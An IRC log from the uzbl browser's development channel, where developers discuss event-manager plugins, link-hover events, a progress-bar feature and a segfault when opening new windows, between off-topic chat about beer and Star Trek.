19:10 < mason-l> I.e. "@on_event MODE_CHANGE python print uzbl.get_mode()"
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19:10 < rob|> Frots: that's 1 virtual dollar for the kitty
19:11 < Frots> well my whole setup is fucked up and i cant set naything anymore so i guess i have to pay 1000 virtual gazillions for the puss
19:12 < rob|> Frots: 5 of them means 1 beer for everyone mentioned in AUTHORS
19:12 < Frots> ok
19:12 < Dieterbe_> 19:06:43  * Frots is away (in Action) --> 19:10:23  * Frots is away () <-- you call that 30 minutes? i think it's you who should buy a new watch ^^
19:12 < Frots> hah well i didnt know my connection was failing Dieterbe_
19:12 < Frots> hmm beer on me!
19:12 < Frots> free beer for every author
19:12 < rob|> yeah!
19:13 < Frots> i aint gonna bring it though
19:13 < scj> free beer is my favorite type of beer
19:14 < rob|> hehe
19:14 < Frots> jupiler or koninck?
19:15 < rob|> we're talking about beer! Augustiner Edelstoff being one possible equivalent to that word..
19:16 < rob|> http://www.augustiner-braeu.de/augustiners/html/en/index.html
19:17 < Frots> dont have that
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19:18 < mason-l> Beer slows me down :)
19:18 < rob|> you're clearly having the wrong one, though ;)
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19:19 < rob|> i guess, foster's is "state of the art" down under, isn't it?
19:23 < mason-l> Yeah something like that :P
19:23 < Dieterbe_> weird, if i uncomment the uri part in the example config:
19:23 < Dieterbe_> # "home" page if you will
19:23 < Dieterbe_> #set uri = uzbl.org
19:23 < Dieterbe_> and run 'make test-dev-browser' it still goes to uzbl.org
19:23 < Dieterbe_> also when i erase the line
19:23 < Stalafin> maybe somebody remembers: i had (and still have) a problem with opening a new instance of uzbl from within uzbl (right-click > new window); on my laptop, it works fine; on my desktop, it does not; is there any way of tracking this down? maybe i should reinstall whatever package is handling this whole fifo-thing?
19:23 < Dieterbe_> never mind
19:24 < Dieterbe_> we use --uri in the Makefile target :P
19:25 < rob|> Stalafin: using different webkit versions on your computers?
19:26 < rob|> that might explain it..
19:27 < rob|> assuming uzbl's config is the same on both machines of course
19:28 < Stalafin> rob|: yeah, it's the standard config, cp'ed from /usr/share/uzbl/....
19:28 < Stalafin> rob|: webkit is the same too
19:29 < rob|> hmm, strange. what exactly is happening on your desktop?
19:30 < Dieterbe_> rob| / mason-l any suggestion (see http://sprunge.us/IbPX for current code) : how would you do an ON_EVENT request for LINK_HOVER so that something gets executed that references a parameter in the LINK_HOVER event? e.g. i want to define it must set a uzbl variable that it gets from the LINK_HOVER
19:30 < Stalafin> well... i open a new instance of uzbl, it opens for a short time, even displays something, then suddenly crasahes
19:30 < rob|> also, try closing all uzbl instances, then 'rm /tmp/uzbl_*' and try again
19:30 < Stalafin> rob|: yes, did that
19:30 < Stalafin> rob|: won't help
19:30 < Stalafin> i also have a script to call uzbl, this is what it gives: /home/janis/.bin/uzbl: line 10: 17209 Segmentation fault      /usr/bin/uzbl $@
19:31 < rob|> odd, i really have no idea what might cause that
19:31 < Stalafin> rob|: (it's not the script's fault though, happens without too)
19:31 < rob|> on any site/link?
19:31 < Stalafin> rob|: uzbl.org mainly
19:32 < rob|> there was/is a problem with webkit compiled with gcc 4.4 under x86_64 and some sites
19:32 < mason-l> Dieterbe_, Yes, several suggestions.
19:32 < Stalafin> rob|: that is: if i open uzbl on google, i can open lots of instances just fine; but: when i start with uzbl, everything will crash
19:33 < rob|> hmm, never had anything like this happen.
19:33 < Stalafin> imma try the experimental version and a new version of webkit :-/
19:33 < rob|> yeah, that's an option
19:34 < rob|> please report back
19:37 < Stalafin> yessir
19:43 < Dieterbe_> mason-l: so.. ?
19:46 < mason-l> Dieterbe_, I'm just making sure the changes work :)
19:49 < Dieterbe_> maybe it's better you write the plugin as well. you can do it 50 times faster then me
19:51 < mason-l> Dieterbe_, no no no, you guys need practice. This is a good template to work from http://dpaste.com/95933/
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19:52 < lrvick> `t
19:52 < Dieterbe_> ah that looks interesting and not too confusing. thanks
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19:53 < mason-l> Dieterbe_, Its not entirely working at the moment but I'm working on making it respond.
19:54 < Dieterbe_> uh. ok
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20:00 < mason-l> Dieterbe_, Nevermind
20:00 < mason-l> Dieterbe_, It was me all along, when I made @on_event I used "set on_event = raise ON_EVENT" not request.
20:01 < mason-l> (in my config that is)
20:02 < Dieterbe_> okay, so i can carry on based on the dpaste yo ugave me
20:02 < mason-l> Dieterbe_, Use this one: http://dpaste.com/95938/
20:03 < mason-l> I had a syntax error in the first one :P
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20:26 < mason-l> How are you going Dieterbe_?
20:27 < Dieterbe_> oh sorry. i got distracted
20:35 < Dieterbe_> mason-l: what do you suggest for seeing what's going on?
20:35 < Dieterbe_> there's a huge amount of output
20:36 < mason-l> Dieterbe_, Yes there is.
20:36 < mason-l> Dieterbe_, What I usually do is comment out the line in uzbl-core.c that also prints event messages to stdout
20:36 < mason-l> (essentially halving the output)
20:37 < mason-l> And using a really small config is a must or else you get 200 lines of BIND request, ADDED_BIND, etc etc.
20:37 < mason-l> Its line 482 of uzbl-core.c
20:37 < Dieterbe_> mason-l: this one? send_event_stdout
20:38 < Dieterbe_> jep
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20:45 < Stalafin> rob|: it still crashes, with newest webkit, uzbl, etc.... here is what it's printing to terminal: /usr/bin/uzbl-browser: line 32:  6375 Segmentation fault      uzbl-core "$@" -n $SOCKET_ID
20:47 < Stalafin> rob|: although: it only prints this line if i try to open a new instance again (i guess, this comes from fifo); when i do it the first time, there is no such error message
20:55 < mason-l> Night guys
20:58 < Dieterbe_> see you mason-l 
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21:34 < rob|> Stalafin: odd! please try this: move ~/.config/uzbl/config to /.config/uzbl/config.COPY
21:34 < rob|> type:  echo 'set uri = uzbl.org' | ./uzbl-core -c -
21:34 < rob|> right click a link -> open in new window and see what happens
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21:38 < Stalafin> rob|: you mean, uzbl-core -c -, not ./uzbl-core, right?
21:39 < rob|> yeah, typo
21:39 < Stalafin> rob|: still crashes
21:39 < rob|> so this is basically uzbl we almost no config atll
21:39 < Stalafin> yeah
21:39 < Stalafin> i figure, this is not uzbl
21:39 < Stalafin> but smth else
21:39 < rob|> hehe
21:41 < rob|> hmm, so it's either a webkit related crash (my assumption) or something really basic we don't catch (rather unlikely, we would have had this more often)
21:42 < Stalafin> but why would it be webkit? i can open a gazillion instances from command line, but not from within uzbl
21:43 < Stalafin> and all uzbl does, is this, right? >> EVENT [41943043] NEW_WINDOW uzbl-core --uri 'http://www.uzbl.org/contribute.php' --geometry '800x600+0+608'
21:43 < rob|> sure, but what happens "internlly" is actually the very same thing. we just spawn another uzbl process..
21:44 < rob|> yeah, exactly
21:44 < Stalafin> so, if it was a uzbl thing, it should crash even if i just open uzbl with the same call
21:44 < rob|> well, actually no - it spawns uzbl internally with a glib function
21:45 < Stalafin> well...
21:46 < rob|> anyways, it just starts a fresh uzbl process/instance
21:50 < rob|> hold on, one more idea
21:51 < rob|> try to start uzbl with the ecact same command line arguments as shown in the EVENT message you pasted above
21:51 < rob|> might be a bug in a function that handles those arguments
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21:52 < rob|> Stalafin: i need to leave for a moment - i'll look into the backlog, though.
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22:04 < Stalafin> rob|: i am sry, i was wathcing a movie
22:04 < Stalafin> rob|: i did that, started uzbl that way; everything worked out nicely
22:13 < Stalafin> rob|: meaning: i start uzbl from command line with those commands: works; i invoke a new instance (right click, etc), it crashes (was even the same link)
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00:08 < rob|> Stalafin: hmm, i'm out of ideas.
00:08 < rob|> i really have no clue what the heck might cause that...
00:08 < rob|> and why it didn't happen for anybody else
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09:07 < Dieterbe_> good (?) morning
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09:18 < mason-l> Good afternoon.
09:20 < Dieterbe_> hey mason-l , about the on_event plugin. i don't really want to put too much time in it
09:20 < mason-l> Thats alright, I'm sure someone will take over (or I'll just add the 10 lines to make it working :P)
09:21 < mason-l> brb lunhc
09:21 < mason-l> 'lunch
09:22 < rob|> morning.
09:22 < rob|> g_io_channels suck!
09:22 < rob|> well, rather g_io_add_watch
09:26 < rob|> i want a select()+pipe() style way to propagate responses to events with a specified timeout, but intermixing the mainloop with select and io_channels obviously doesn't work as expected
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09:32 < rob|> so, i guess we need to resort to threads in order to synchronize event responses and be able to hook these "mid-function"
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10:32 < mason-l> rob|, Are you talking about moving cookie handling out?
10:33 < mason-l> You would only need a single extra thread to handle that wouldn't you?
10:37 < rob|> well, sort of. not only cookies have a sync nature there are also other events that need a decision to be made before they can operate
10:47 < rob|> so basically, all IO functions (reading from socket/fifo/stdin) need to run in a separate thread
10:48 < rob|> which has some implications, though :(
10:49 < Dieterbe_> such as?
10:49 < rob|> signal back to the mainloop is not a big think i'd just use a pipe() and timed select()
10:50 < rob|> Dieterbe_: well most prominently locking issues and call to gtk/webkit functions that are potentially not thread safe
10:50 < rob|> *calls
10:51 < rob|> i.e. the io_watches call the parse functions which in turn call command functions that manipulate all sorts of gtk and not gtk stuff directly
10:52 < rob|> at least the variable hash can easily be locked, though
10:54 < Dieterbe_> oh.. nuts
10:54 < Dieterbe_> isn't this going too far?
10:55 < Dieterbe_> maybe we should just leave cookies like they are
10:55 < rob|> it's not only cookies, but also scheme_handler and probably more
10:56 < rob|> the callbacks look like: foo_cb() { char *tmp = runhandler(foo_handler); if(tmp = "bla") {do this;} else {do that;} }
10:56 < rob|> you get the point...
10:57 < Dieterbe_> yeah but still, i don't mind having a few *_handler variables for those handlers that are sync
10:57 < Dieterbe_> and use the event manager for all async stuff
10:57 < rob|> that looks quite ugly to me and it makes getting rid of chain virtually impossible
11:00 < Dieterbe_> true. but i'm not really looking forward to see locking code all over the place
11:01 < rob|> i second that, though we may be able to reduce locking to a minimum with a good design decision
11:02 < rob|> like passing messages between the threads to synchronize things, glib even offer thread safe data structures for this very purpose
11:04 < rob|> so, the IO thread would pass on a message with a pointer to the data to the main thread which in turns calls parse_cmd_line()
11:05 < rob|> well, this needs some serious rewriting
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11:10 < mason-l> rob|, Cant you just use a "command queue" which the mainloop looks at every so many milliseconds an executes items put in there by the threaded part of the application.
11:11 < rob|> sure, though i want to avoid such kind of busy loops
11:11 < mason-l> Anyway I've finished the on_event plugin and moved all the load_{start|commit|finish}_handlers over to it.
11:12 < rob|> great :)
11:14 < rob|> actually this is my motivation for all the sync stuff
11:17 < rob|> mason-l: you didn't push that yet, did you?
11:17 < mason-l> not yet
11:17 < rob|> ok
11:28 < mason-l> rob|, Did you ever find a way to un-link_hover ?
11:29 < rob|> unfortunatelly no, there is no webkit signal for this
11:30 < mason-l> rob|, Is there a webkit signal for hover_over_background ?
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11:31 < rob|> not that i'm aware of
11:35 < rob|> i guess i found a way to express that
11:35 < rob|> the only problem is that we can't generate HOVER/UNHOVER events in a similar way to KEY_PRESS/RELEASE
11:36 < rob|> i.e. if you hover over a link and move the mouse over another link there is no way to generate an intermidiate LINK_UNHOVER
11:36 < rob|> but this shouldn't be a problem i guess
11:37 < rob|> so i suggest the following: always generate LINK_HOVER events, but in case you move the mouse away from a link the argument to LINK_HOVER will be empty virtually indicating a LINK_UNHOVER
11:38 < rob|> is this ok with you?
11:39 < mason-l> That will be fine.
11:41 < mason-l> I'm pushing the on_event plugin now.
11:41 < mason-l> And .. pushed.
11:42 < rob|> alright, i just pushed the LINK_HOVER thing to my tree
11:42 < mason-l> Thanks
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11:47 < rob|> nice, on_event looks really good and easy to undestand and manipulate for the user
11:47 < mason-l> oh whoops, that link hover work kills the EM :P
11:48 < rob|> hmm, probably because it's expecting the message to have more arguments?
11:48 < mason-l> Thats exactly it, fixing now.
11:48 < rob|> ok :)
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11:53 < mason-l> Ok now should I use on_event to update the @SELECTED_URI in the status_message?
11:53 < mason-l> Is our aim to move away from using @SELECTED_URI like vars?
11:53 < rob|> you can't cause STATUS_URI is a constant to the user
11:54 < rob|> erm, SELECTED_URI
11:54 < mason-l> No i mean replace that with @selected_uri in the status_format and write to that
11:54 < rob|> hmm, not sure about this one cause a couple of bits rely on SELECTED_URI to be set (like new_window_cb)
11:55 < mason-l> This is purely semantic right now.
11:55 < rob|> so if it's set to late those won't work anymore which feels kinda unnatural
11:55 < mason-l> ok
11:55 < rob|> i think we should wait with this until we found a way to handle sync events
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11:56 < rob|> meanwhile you can just use a custom var
11:56 < mason-l> But if @SELECTED_URI needs to stay I don't see a need in replacing it with another variable.
11:57 < rob|> well, replacing it is only necessary if you want to manipulate it in some way for displaying in the statusbar or something like that
11:58 < mason-l> Yeah but there is no point replacing it with an on_event if no manipulation is taking place.
11:58 < rob|> surely there is no way to trigger a decision upon the content of that custom var other then title_* and status_format
11:58 < rob|> yet
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11:59 < mason-l> What do you mean?
11:59 < rob|> i mean you can't use that custom var to e.g. open a new window with that manipulated value
12:00 < mason-l> Also I've pushed the EM link_hover fix.
12:01 < Dieterbe_> 11:37:51 < rob|> so i suggest the following: always generate LINK_HOVER events, but in case you move the mouse away from a link the argument to LINK_HOVER will be empty  <-- how can you know when the mouse goes away from the link?
12:01 < Dieterbe_> and if you know that, why not generate a LINK_UNHOVER ?
12:02 < mason-l> Dieterbe_, Actually I don't mind the raising of another LINK_HOVER with no arguments to un-hover.
12:02 < Dieterbe_> rob| / mason-l i think things like SELECTED_URI, TITLE, URI etc should stay because it can be useful to query uzbl-core for their values
12:03 < mason-l> The UNLINK_HOVER can easily be raised by a plugin in the EM if need be.
12:03 < Dieterbe_> how?
12:03 < rob|> Dieterbe_: well, we would need to keep a copy of the last slected link around in order to generate intermediate UNHOVER events
12:03 < Dieterbe_> webkit didn't have a callback function for pointer leaving the link, right?
12:03 < mason-l> when last_uri != new_uri: uzbl.event("UNLINK_HOVER", last_uri);
12:04 < mason-l> The order is a little screwed up but something like that.
12:04 < rob|> yeah, that would work
12:05 < mason-l> I'm happy either way because now there is a way to tell when you un-hover.
12:05 < mason-l> brb dinner.
12:06 < Dieterbe_> are you guys saying that when you first hover over A and then over B, that when you get the link_hover callback for B from webkit, you'll raise the un-hover for A ?
12:06 < rob|> yeah, and as you can only hover over one link at a time there is no point in keeping track of the last hover uri internally
12:07 < Dieterbe_> maybe we should just do a feature request to the webkit guys
12:07 < rob|> Dieterbe_: hover over a -> event link_hover a, move mouse over b -> event link_hover b, move mouse away from uri -> event link_hover <empty string>
12:08 < rob|> no there is really no need for this as the above semantics are enough to completly describe hovering
12:09 < Dieterbe_> when you replied 'yeah' to my question i think i got it. but with what you just said now i'm totally confused again
12:13 < Dieterbe_> you cannot detect when the mouse goes away from a uri, right? or can you? you can only know when all of a sudden the user is hovering over a _different_ link?
12:14 < rob|> yes, basically
12:15 < rob|> at least without the need to keep the last hovered over link in memory and compare on new hovers
12:16 < Dieterbe_> sure
12:17 < Dieterbe_> ah the listing you just gave was not a chronologic list of example events
12:17 < Dieterbe_> it was just an overview
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12:24 < rob|> well, i just changed behaviour to also report LINK_HOVER, this will surely be easierto handle for the on_event plugin
12:24 < rob|> err, LINK_UNHOVER
12:26 < Dieterbe_> i don't know how usefull it is. i mean you only get the unhover event when you're already hoving over a different url? that can be a lot of time later. or never
12:26 < Frots> uzbl just crashed on libre.fm :(
12:26 < rob|> so it behaves like this:  hover over a -> LINK_HOVER a,  hover over b -> LINK_UNHOVER a and LINK_HOVER b
12:28 < MichaelRaskin> Dieterbe_, add stumpwm and xmonad to the list of things uzbl users could probably like
12:28 < MichaelRaskin> In README
12:28 < Dieterbe_> it's not meant to be a definitive list
12:29 < MichaelRaskin> Dieterbe_, but the addition seems to improve its quality anyway
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13:10 < rob|> mason-l: added a LINK_UNHOVER event. basically youl'll get events like: "LINK_HOVER uri" and "LINK_UNHOVER uri" with some logic to make sure that hover/unhover uris will always be the same
13:21 < mason-l> rob|, Nice work.
13:21 < mason-l> I'm back btw :)
13:32 < rob|> do you have anything specific in mind with those hover events?
13:36 < mason-l> rob|, Yeah, changing the @SELECTED_URI section's style red or green if the domain is in the cookie domain whitelist.
13:36 < mason-l> or set another attr 'hover_cookies = {allowed|denied}'
13:37 < mason-l> s/attr/var/
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13:42 < rob|> ah, that's a nice idea
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13:45 < mason-l> And it seems like an easy thing to do with the python stdlib
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14:24 < lidstah> hi all
14:25 < mason-l> lidstah, Hi
14:25 < lidstah> yay, managed to get adblock list/polipo trick working :)
14:27 < mason-l> rob|, Is there any other stats webkit can expose like total bytes downloaded?
14:28 < Dieterbe_> rob|: you only get the unhover event when you're already hoving over a different url? that can be a lot of time later. or never. is this useful?
14:29 < mason-l> Dieterbe_, The unhovers are correctly timed and sent.
14:30 < Dieterbe_> how can that be? as you cannot detect an unhover until you hover over another link
14:31 < mason-l> Dieterbe_, I think what happens is webkit raises another link-hover with a null parameter (just from a brief look at the code) and now we print the last_hovered_uri on null.
14:31 < mason-l> or change.
14:31 < Dieterbe_> oooh
14:31 < Dieterbe_> then why:
14:31 < Dieterbe_> 12:26:59 < rob|> so it behaves like this:  hover over a -> LINK_HOVER a,  hover over b -> LINK_UNHOVER a and LINK_HOVER b
14:32 < mason-l> Because webkit doesn't send intermediate nulls to the callback if you hover over a neighboring ling.
14:32 < mason-l> s/ling/link/
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14:43 < Dieterbe_> hmm i think i get it
14:43 < Dieterbe_> i'll just look at the source. will be easiejr :P
15:00 < rob|> use the source luke ;)
15:02 < mason-l> Awww I was gonna go into town for some power converters.
15:10 < Dieterbe_> why awww?
15:25 < mason-l> Dieterbe_, Have you seen Starwars?
15:26 < Dieterbe_> no
15:26 < mason-l> The full quote is: "But I wanted to go into Tashi Station and pick up some power converters"
15:26 < mason-l> Dieterbe_, Watch it!
15:27 < mason-l> I can't believe someone out there hasn't seen it.
15:27 < Dieterbe_> :)
15:27 < Dieterbe_> i haven't seen any of them. but i want to, someday..
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15:27 < Frots> None??
15:27 < mason-l> Dieterbe_, only watch the originals.
15:27 < Frots> I havent seen all of m but atleast the old ones
15:27 < Dieterbe_> maybe i should start doing it. i've just finished watching prison break so i was looking for something else anyway
15:28 < mason-l> But Star Trek > Starwars.
15:28 < mason-l> :D
15:28 < Frots> mason-l++
15:28 < Frots> star trek is way more awesome
15:28 < Dieterbe_> star trek looks ghey
15:28 < mason-l> Frots, Yes, yes it is!
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15:28 < mason-l> I've got and seen every episode of Star Trek.
15:28 < Frots> originals? tng?
15:29 < Frots> the new enterprise is pretty lame though
15:29 < Frots> and i dont know about the new movie
15:29 < mason-l> TNG > DS9 > VOY > TOS > Enterprise
15:29 < Frots> (I think its stupid)
15:29 < Frots> tng is the best
15:29 < mason-l> I didn't like Enterprise at all.
15:29 < Frots> definitally
15:29 < Frots> havent seen much ds9
15:29 < Frots> all voy
15:30 < mason-l> DS9 is a great series too.
15:30 < mason-l> But Babylon 5 fits in the middle there somewhere.
15:30 < scj> everything star trek is crap
15:30 < mason-l> I loved B5
15:30 < scj> except tos, it's got a certain charm
15:30 < mason-l> scj, >:O
15:30 < Frots> scj whats your age?
15:31 < Dieterbe_> oh dear
15:31 < Frots> :p
15:31 < Frots> maybe I should rephrase that but I feel lazy today
15:31 < Dieterbe_> do we need a #uzbl-offtopic? :P
15:31 < mason-l> Dieterbe_, I've finished the progress plugin :D
15:31 < Frots> i'd idle there 24/7 Dieterbe_
15:32 < Dieterbe_> yeay
15:32 < Frots> but im one of thos unproductive guys
15:32 < Dieterbe_> that's great mason-l 
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15:32 < mason-l> I need some more format options: %b = [===...], %a = [==>...], %p = 69%
15:32 < Dieterbe_> mason-l: we're now at 70% of your 4 offdays, i suppose?
15:33 < mason-l> Dieterbe_, Yeah.
15:33 < Dieterbe_> allright. still some time to go :P
15:33 < mason-l> Its gone so fast, its felt like I've spent at least half of that sleeping.
15:34 < Dieterbe_> yeah. when you work too hard you spend/waste your vacation recovering from it
15:34 < mason-l> If only I worked hard :P
15:34 < Dieterbe_> :P
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15:37 < mason-l> I loved all of the Stargates also.
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15:43 < rob|> mason-l: %s = spinning wheel, %c = something that just alternates through a set of colours, %b = blinking character, ...
15:43 < rob|> ;)
15:44 < scj> no blinking
15:44 < scj> never blinking
15:45 < Dieterbe_> unless if it's really smooth and sexy
15:45 < scj> and web 2.0
15:49 < rob|> maybe we should get rid of the gtk statusbar and replace it with a webview frame, so all web 2.0 goodies would work there ;)
15:49 < rob|> plus full html and JS control over it
15:50 < Dieterbe_> stop right there :P
15:50 < scj> and embeddable youtube videos
15:50 < scj> DO IT
15:50 < Dieterbe_> btw rob| is it possible to embed dzen2 or something using Xembed?
15:51 < Dieterbe_> hey, we could embed a small uzbl into a uzbl to function as web2.0 statusbar
15:51 < rob|> no, dzen currently does not make use of that, though some guy was/is working on a library interface for dzen
15:52 < Dieterbe_> k
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16:14 < silas> Oh. This channel does exist.
16:14 < silas> Hi all.
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16:16 < Dieterbe_> hi
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16:19 < silas> I cloned master yesterday. make tells me "uzbl.h:47: error: expected specifier-qualifier-list before 'WebKitWebInspector'". I installed all dependencies under my Ubuntu system. Any tips?
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16:23 < Dieterbe_> just installing the deps is not enough. on ubuntu, webkit and such are too old
16:23 < silas> Hmmmmm
16:23 < Dieterbe_> there are several ubuntu related howto's on our wiki
16:24 < silas> Oh thanks. Going to take a look. Thank you very much.
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16:31 < mason-l> Dieterbe_, rob|: Spinner's working!
16:32 < mason-l> And you can use the spinner to make the blinker
16:32 < mason-l> by changing the spinner characters
16:34 < Dieterbe_> right. lol
16:34 < Dieterbe_> it may be cool if you pick 3 closely related colors
16:34 < Dieterbe_> so the effect is subtle
16:35 < mason-l> Spinning colours also?
16:35 < mason-l> No way :P
16:35 < rob|> mason-l: cool, can't await to give it a try :)
16:36 < Dieterbe_> so, aren't we pretty much done now? i mean, shouldn't we start documenting and such so we can push to master?
16:36 < mason-l> Dieterbe_, Nope!
16:36 < Dieterbe_> what's missing?
16:36 < mason-l> Before we push to master we need multi-instance support
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16:36 < Dieterbe_> ah. right. forgot about that
16:37 < mason-l> And (fingers crossed!) cookie's handled by the EM
16:37 < mason-l> And a working uzbl_tabbed.py
16:37 < mason-l> (not so much)
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16:37 < Dieterbe_> EM cookie handling is not urgent, we can do that afterwards
16:37 < mason-l> Theres a lot of "little" things left :P
16:37 < Dieterbe_> what's up with uzbl_tabbed?
16:38 < mason-l> it just needs to be updated to work with the EM
16:38 < mason-l> And I think the EM is hogging uzbl's socket.
16:39 < mason-l> So once we get multi-instance support in uzbl_tabbed.py will be able to function correctly again.
16:39 < mason-l> But it will still be out-dated.
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16:39 < mason-l> I'd love to move tabbing in as a plugin.
16:39 < Dieterbe_> can you make the necessary entries in docs/TODO ?
16:40 < mason-l> ok
16:41 < Dieterbe_> and what do you mean, tabbing as a plugin?
16:42 < mason-l> Move uzbl_tabbed.py in as an EM plugin.
16:42 < mason-l> I still don't know how feasible that is yet but its on the wishlist.
16:43 < rob|> i'll start a sync-events branch soon so we can play around with some ideas/methods for that
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16:46 < rob|> i might make use of libevent/liboop in that branch
16:56 < rob|> hmm, maybe the glib main event loop is all we need
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17:13 < mason-l> Oh man, I'm getting so excited over this progress bar work
17:14 < rob|> :)
17:15 < Dieterbe_> .. and i just can't hide it. lalala
17:16 < Frots> keep control heh ;)
17:24 < rob|> Dieterbe_: it's time you get a bit more envolved in core development, i could need some help on the sync events stuff and we need to make some design decisions there
17:24 < rob|> i guess glib's main event loop is all we need, so no extra libs or deps for that
17:24 < Dieterbe_> actually i feel like i should be taking it a bit easy. i've been spending (way) too much time behind the pc lately
17:25 < mason-l> Dieterbe_, Isn't that a given being a Release Engineer?
17:26 < Dieterbe_> well that means a lot of work, but only in the run-up to a release. now it's calm again (and i'm cheating. not doing a release each kernel release, but only every 2 kernel releases)
17:27 < rob|> and project maintainer ;)
17:28 < Dieterbe_> the worst part is that my own pc's are a mess. organisation/backup wise. i feel really bad about that and should work a bit on that
17:29 < mason-l> My desktop has 182 items on it.
17:30 < mason-l> Its even overflowing onto my second monitor.
17:30 < Dieterbe_> when i proposed the python hacking yesterday i was fooling myself. sorry
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17:31 < Dieterbe_> heh mason-l , that's not very tidy indeed ;)
17:31 < mason-l> I'm normally pretty good but I haven't been bored enough in the last ~3 months to clean it.
17:35 < bct> you have a desktop? i thought we were all tiling wm cool cats here
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17:36 < Dieterbe_> i'm a tiling cool cat but for some reason i still have a Desktop folder. maybe i should get rid of it
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17:43 < mason-l> Dieterbe_, rob|: Pushed the progress_bar.py plugin :D
17:43 < mason-l> And try the spinner example in the config too :D
17:45 < rob|> yeah, will do
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17:49 < rob|> haha, now that looks pretty cool :)
17:50 < mason-l> rob|, Did you try the spinner example!?
17:50 < rob|> you even did more to that spinner thing than i expected
17:50 < rob|> yeah, the one in the default config
17:50 < mason-l> :D
17:50 < rob|> actually it's spinner/gauge mix, nice
17:51 < Dieterbe_> ok now i'm curious
17:51 < Dieterbe_> i'll try it when i'm home
17:51 < mason-l> Well thats just because i put it in between the done bar and pending bar. You can have it by itself by using a single "%s"
17:51 < rob|> ah, i see
17:51 < mason-l> But I thought that was a good demonstration showing it off.
17:51 < rob|> anyways that gives a whole load of combinations possibilities, very cool mason!
17:52 < mason-l> There was so much choice it was difficult picking a default (to go in the sample config that is) so I went with wget style.
17:53 < mason-l> rob|, Do you know if webkit exposes KB downloaded so far?
17:53 < mason-l> Because that would also be great to chuck in there.
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17:55 < mason-l> rob|, Any more progress bar feature requests? :)
17:55 < rob|> man, i'm pretty much out of ideas ;)
17:56 < mason-l> :D
17:58 < rob|> re. KBs downloaded, at least it doesn't report that in the callback used for load progress
17:58 < rob|> there _might_ be some way to retreive that though or at least the size of the document and compute absolute values of out the percentage
17:59 < mason-l> Are you looking on http://webkitgtk.org/reference/index.html ?
17:59 < rob|> yeah
17:59 < rob|> i need to leave for an hour, will get back to you later mason
18:01 < thunktone> mason-I, how about a utf-8 progress pie chart: ◯◔◑◕●
18:01 < Dieterbe_> lol
18:02 < Dieterbe_> it's a bit small though
18:02 < thunktone> yeah, needs a fairly large font
18:02 < thunktone> just an idea
18:02 < mason-l> thunktone, Good idea!
18:03 < mason-l> I'll make something similar to the spinner that uses percentage instead of updates as the index.
18:03 < thunktone> cool
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18:37 < mason-l> I've hit a real issue trying to send a unicode string over a socket in python
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18:49 < mason-l> thunktone, Just got it working!
18:50 < mason-l> I had to convert the entire python code-set to unicode to do so though :D
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18:54 < mason-l> Dieterbe_, How do you feel about unicode characters in the config?
18:55 < mason-l> I think I might leave them out just to be safe but that makes a good example.
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19:03 < Dieterbe_> mason-l: i don't have anything agaist them per se.  but i do think our sample configs should be as small as possible, while still demonstrating the most important/useful options
19:04 < Dieterbe_> so i suggest to put 1 progress bar example in it, and other examples can be put on the wiki
19:04 < mason-l> I moved them out and made "◯◔◑◕●" the default sprite string.
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19:04 < Dieterbe_> oh yeah. and examples should work for as much people as possible
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19:05 < Dieterbe_> so i think a more oldskool progressbar is the best default example
19:06 < mason-l> The default progress bar is "[==>  ]55%" currently.
19:06 < Dieterbe_> good
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19:34 < mason-l> rob|, Do you want to test that out for me?
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19:35 < mason-l> I've just pushed the changes giving the EM unicode support & added the "◯◔◑◕●" ability to the progress bar.
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20:05 < DenisG> hello
20:05 < scj> sup
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20:12 < DenisG> just wanted to check out who the people with uzbl are :D
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20:12 < DenisG> it's amazingly difficult to find any names on the home page
20:12 < DenisG> with amazingly difficult = not possible :P
20:12 < jelly12gen> dieterbe is  a name
20:13 < Frots> well the names are the branch names
20:13 < Frots> :p
20:13 < Dieterbe_> http://github.com/Dieterbe/uzbl/blob/experimental/AUTHORS
20:14 < DenisG> nice, thank you!
20:15 < Dieterbe_> i'm off to the local fair. see you later guys
20:15 < jelly12gen> goodbye
20:15 < jelly12gen> oktoberfesT ?
20:16 < Dieterbe_> no. kalken kermis
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20:16 < jelly12gen> aha
20:16 < Frots> gl hf!
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20:17 < DenisG> how old is uzbl?
20:18 < scj> a few months
20:18 < DenisG> what? only?
20:20 < scj> #uzbl was registered 20 weeks and 5 days ago
20:20 < Frots> crazy fast development :p
20:21 < Frots> every uzbl comitter can pass by my town for a free beer
20:21 < scj> as long as you don't make me watch some shitty star trek :v
20:21 < Frots> hah
20:21 < Frots> no
20:22 < Frots> That was years ago ;p
20:22 < Frots> I'll make you watch "hello kitty"
20:22 < scj> :/
20:22 < sitwon> is there a hello kitty tv show?
20:22 < Frots> isnt there?
20:22 < sitwon> I thought it was just a doll
20:23 < Frots> I might be talking bs but idk
20:23 < Frots> Why would they make 'just a doll'
20:23 < sitwon> because little girls buy it?
20:24 < sitwon> Wikipedia says there was a TV show
20:24 < sitwon> so I guess you're right
20:24 < Frots> yeah
20:24 < Frots> japanese
20:24 < Frots> whatever im drinking beer bye
20:24 < opqdonut> :D
20:24 < scj> of course there's a tv show, how else are they going to milk the merchandising for all it's worth?
20:24 < sitwon> well if anyone wants to visit DC I'll buy you a grog at the Piratz Tavern
20:25 < sitwon> P-)
20:25 < Frots> sitwon: thats a long way from here :p
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20:29 < mason-l> Other side of the world to be precise (for me anyway).
20:38 < mason-l> Night guys.
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22:10 < marvinthepa> dirkson: undo close tab is on my todo-list
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00:08 < ulughbegh> hi
00:12 < ulughbegh> it does not feel like utilise a caching system because slow forward and backward speed
00:16 < scj> ulughbegh: try binding 'js history.go(-1)' to your back button
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00:16 < ulughbegh> scj, thx tryin
00:17 < scj> and 'js history.go(1)' to your forward button
00:19 < ulughbegh> scj, coool ;)
00:20 < ulughbegh> thx
00:23 < scj> ulughbegh: it worked? heh, nice to know
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00:32 < ulughbegh> because of disconnection my message may not be recieved, yeah it works scj, thanks for tip
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00:46 < greg02> Are spawns and scripts not currently working on the experimental branch?
00:47 < rob|> they are, see the sample config
00:48 < greg02> The default bookmarks thing and hints/follow aren't working for me for some reason...
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05:29 < mason-l> rob|, That progress bar code can be removed now.
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05:54 < bct> argh. i'm so close to getting POST downloads working, but i can't figure out how to get the posted data from a WebKitNetworkRequest
05:55 < bct> i can get a SoupMessage from from the NetworkRequest, and i can get a SoupMessageBody from that, but it seems to be empty.
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08:10 < mason-l> rob|, How hard is it to get cursor positions working in a gtk-label?
08:10 < mason-l> Or should I go the 'inverted character' look.
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08:13 < mason-l> What to do for the next 6 hours.
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09:24 < Dieterbe_> good morning bitchiiiz
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09:25 < scj> sup
